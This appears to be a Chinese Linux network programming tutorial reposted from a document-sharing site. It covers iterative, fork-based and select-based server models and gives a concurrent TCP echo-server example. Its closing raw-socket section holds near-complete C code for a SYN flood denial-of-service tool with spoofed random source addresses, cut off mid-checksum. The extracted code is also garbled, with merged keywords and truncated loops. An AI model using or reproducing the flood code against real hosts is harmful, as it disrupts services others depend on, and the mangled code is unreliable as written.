Linux网络服务器模型.docx
《Linux网络服务器模型.docx》由会员分享,可在线阅读,更多相关《Linux网络服务器模型.docx(13页珍藏版)》请在冰豆网上搜索。
Linux网络服务器模型
服务器模型
<一>循环服务器:
循环服务器在同一个时刻只可以响应一个客户端的请求
<二>并发服务器:
并发服务器在同一个时刻可以响应多个客户端的请求
1.介绍
Linux网络循环服务器是指逐个处理客户端的连接,处理完一个连接后再处理下一个连接,是一个串行处理的方式,比较适合时间服务器,DHCP服务器.对于TCP服务器来说,主要阻塞在accept函数,等待客户端的连接。
而对于UDP服务器来说,主要阻塞在recv函数.
2.循环服务器模型
TCP循环服务器:
算法如下:
socket(...);
bind(...);
listen(...);
while
(1)
{
accept(...);
read(...);
process(...);
write(...);
close(...);//关闭客户端连接
}
close(....);//关闭服务器连接
UDP循环服务器:
算法如下:
socket(...)
bind(....);
while
(1){
recvfrom(....);
process(...);
sendto(....);
close(....);//关闭客户端连接
}
close(....);//关闭服务器连接
从上面的流程可以看出,TCP循环服务器在accept处阻塞一直等待客户端的到来,而UDP循环服务器在recv处阻塞,等待客户端发送数据.
1 循环服务器:
UDP服务器
UDP循环服务器的实现非常简单:
UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机.
可以用下面的算法来实现.
socket(...);
bind(...);
while
(1)
{
recvfrom(...);
process(...);
sendto(...);
}
因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.
2 循环服务器:
TCP服务器
TCP循环服务器的实现也不难:
TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.
算法如下:
socket(...);
bind(...);
listen(...);
while
(1)
{
accept(...);
while
(1)
{
read(...);
process(...);
write(...);
}
close(...);
}
TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.
这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.
9.3 并发服务器:
TCP服务器
为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器
直接处理,而是服务器创建一个 子进程来处理.
算法如下:
socket(...);
bind(...);
listen(...);
while
(1)
{
accept(...);
if(fork(..)==0)
{
while
(1)
{
read(...);
process(...);
write(...);
}
close(...);
exit(...);
}
close(...);
}
TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,
服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.
9.4 并发服务器:
多路复用I/O
为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型.
首先介绍一个函数select
intselect(intnfds,fd_set*readfds,fd_set*writefds,
fd_set*exceptfds,structtimeval*timeout)
voidFD_SET(intfd,fd_set*fdset)
voidFD_CLR(intfd,fd_set*fdset)
voidFD_ZERO(fd_set*fdset)
intFD_ISSET(intfd,fd_set*fdset)
一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读 (通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了.readfds所有要读的文件文件描述符的集合
writefds所有要的写文件文件描述符的集合
exceptfds其他的服要向我们通知的文件描述符
timeout超时设置.
nfds所有我们监控的文件描述符中最大的那一个加1
在我们调用select时进程会一直阻塞直到以下的一种情况发生.1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.
为了设置文件描述符我们要使用几个宏.FD_SET将fd加入到fdset
FD_CLR将fd从fdset里面清除
FD_ZERO从fdset中清除所有的文件描述符
FD_ISSET判断fd是否在fdset集合中
使用select的一个例子
intuse_select(int*readfd,intn)
{
fd_setmy_readfd;
intmaxfd;
inti;
maxfd=readfd[0];
for(i=1;i
if(readfd[i]>maxfd)maxfd=readfd[i];
while
(1)
{
/* 将所有的文件描述符加入 */
FD_ZERO(&my_readfd);
for(i=0;i
FD_SET(readfd[i],*my_readfd);
/* 进程阻塞 */
select(maxfd+1,&my_readfd,NULL,NULL,NULL);
/* 有东西可以读了 */
for(i=0;i
if(FD_ISSET(readfd[i],&my_readfd))
{
/* 原来是我可以读了 */
we_read(readfd[i]);
}
}
}
使用select后我们的服务器程序就变成了.
初始话(socket,bind,listen);
while
(1)
{
设置监听读写文件描述符(FD_*);
调用select;
如果是倾听套接字就绪,说明一个新的连接请求建立
{
建立连接(accept);
加入到监听文件描述符中去;
}
否则说明是一个已经连接过的描述符
{
进行操作(read或者write);
}
}
多路复用I/O可以解决资源限制的问题.这模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.
如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久.
9.5 并发服务器:
UDP服务器
人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建
一个子进程来处理的 算法和并发的TCP模型一样.
除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.
9.6 一个并发TCP服务器实例
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#defineMY_PORT 8888
intmain(intargc,char**argv)
{
intlisten_fd,accept_fd;
structsockaddr_in client_addr;
intn;
if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
{
printf("SocketError:
%s/n/a",strerror(errno));
exit
(1);
}
bzero(&client_addr,sizeof(structsockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间 */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(structsockaddr*)&client_addr,sizeof(client_addr))<0)
{
printf("BindError:
%s/n/a",strerror(errno));
exit
(1);
}
listen(listen_fd,5);
while
(1)
{
accept_fd=accept(listen_fd,NULL,NULL);
if((accept_fd<0)&&(errno==EINTR))
continue;
elseif(accept_fd<0)
{
printf("AcceptError:
%s/n/a",strerror(errno));
continue;
}
if((n=fork())==0)
{
/* 子进程处理客户端的连接 */
charbuffer[1024];
close(listen_fd);
n=read(accept_fd,buffer,1024);
write(accept_fd,buffer,n);
close(accept_fd);
exit(0);
}
elseif(n<0)
printf("ForkError:
%s/n/a",strerror(errno));
close(accept_fd);
}
}
你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试
(十)Linux网络编程--10.原始套接字
我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外
一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能.
注意原始套接字只能够由有 root权限的人创建.
10.1 原始套接字的创建
intsockfd(AF_INET,SOCK_RAW,protocol)
可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:
IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
详细的情况查看 socket的man手册 下面我们以一个实例来说明原始套接字的创建和使用
10.2 一个原始套接字的实例
还记得DOS是什么意思吗?
在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#defineDESTPORT 80 /* 要攻击的端口(WEB) */
#defineLOCALPORT 8888
voidsend_tcp(intsockfd,structsockaddr_in*addr);
unsignedshortcheck_sum(unsignedshort*addr,intlen);
intmain(intargc,char**argv)
{
intsockfd;
structsockaddr_inaddr;
structhostent*host;
inton=1;
if(argc!
=2)
{
fprintf(stderr,"Usage:
%shostname/n/a",argv[0]);
exit
(1);
}
bzero(&addr,sizeof(structsockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&addr.sin_addr)==0)
{
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"HostNameError:
%s/n/a",hstrerror(h_errno));
exit
(1);
}
addr.sin_addr=*(structin_addr*)(host->h_addr_list[0]);
}
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
fprintf(stderr,"SocketError:
%s/n/a",strerror(errno));
exit
(1);
}
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
setuid(getpid());
/********* 发送炸弹了!
!
!
!
****/
send_tcp(sockfd,&addr);
}
/******* 发送炸弹的实现 *********/
voidsend_tcp(intsockfd,structsockaddr_in*addr)
{
charbuffer[100]; /**** 用来放置我们的数据包 ****/
structip*ip;
structtcphdr*tcp;
inthead_len;
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
head_len=sizeof(structip)+sizeof(structtcphdr);
bzero(buffer,100);
/******** 填充IP数据包的头部,还记得IP的头格式吗?
******/
ip=(structip*)buffer;
ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
ip->ip_hl=sizeof(structip)>>2;/**IP数据包的头部长度 **/
ip->ip_tos=0; /** 服务类型 **/
ip->ip_len=htons(head_len); /**IP数据包的长度 **/
ip->ip_id=0; /** 让系统去填写吧 **/
ip->ip_off=0; /** 和上面一样,省点时间 **/
ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
ip->ip_sum=0; /** 校验和让系统去做 **/
ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
/******* 开始填写TCP数据包 *****/
tcp=(structtcphdr*)(buffer+sizeof(structip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 目的端口 **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 我要建立连接 **/
tcp->check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?
?
^_^ **/
while
(1)
{
/** 你不知道我是从那里来的,慢慢的去等吧!
**/
ip->ip_src.s_addr=random();
/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/** 下面这条可有可无 */
tcp->check=check_sum((unsignedshort*)tcp,
sizeof(structtcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(structsockaddr_in));
}
}
/* 下面是首部校验和的算法,偷了别人的 */
unsignedshortcheck_sum(unsignedshort*addr,intlen)
{
registerintnleft=len;
registerintsum=0;
registershort*w=addr;
shortanswer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsignedchar*)(&answer)=*(unsignedchar*)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>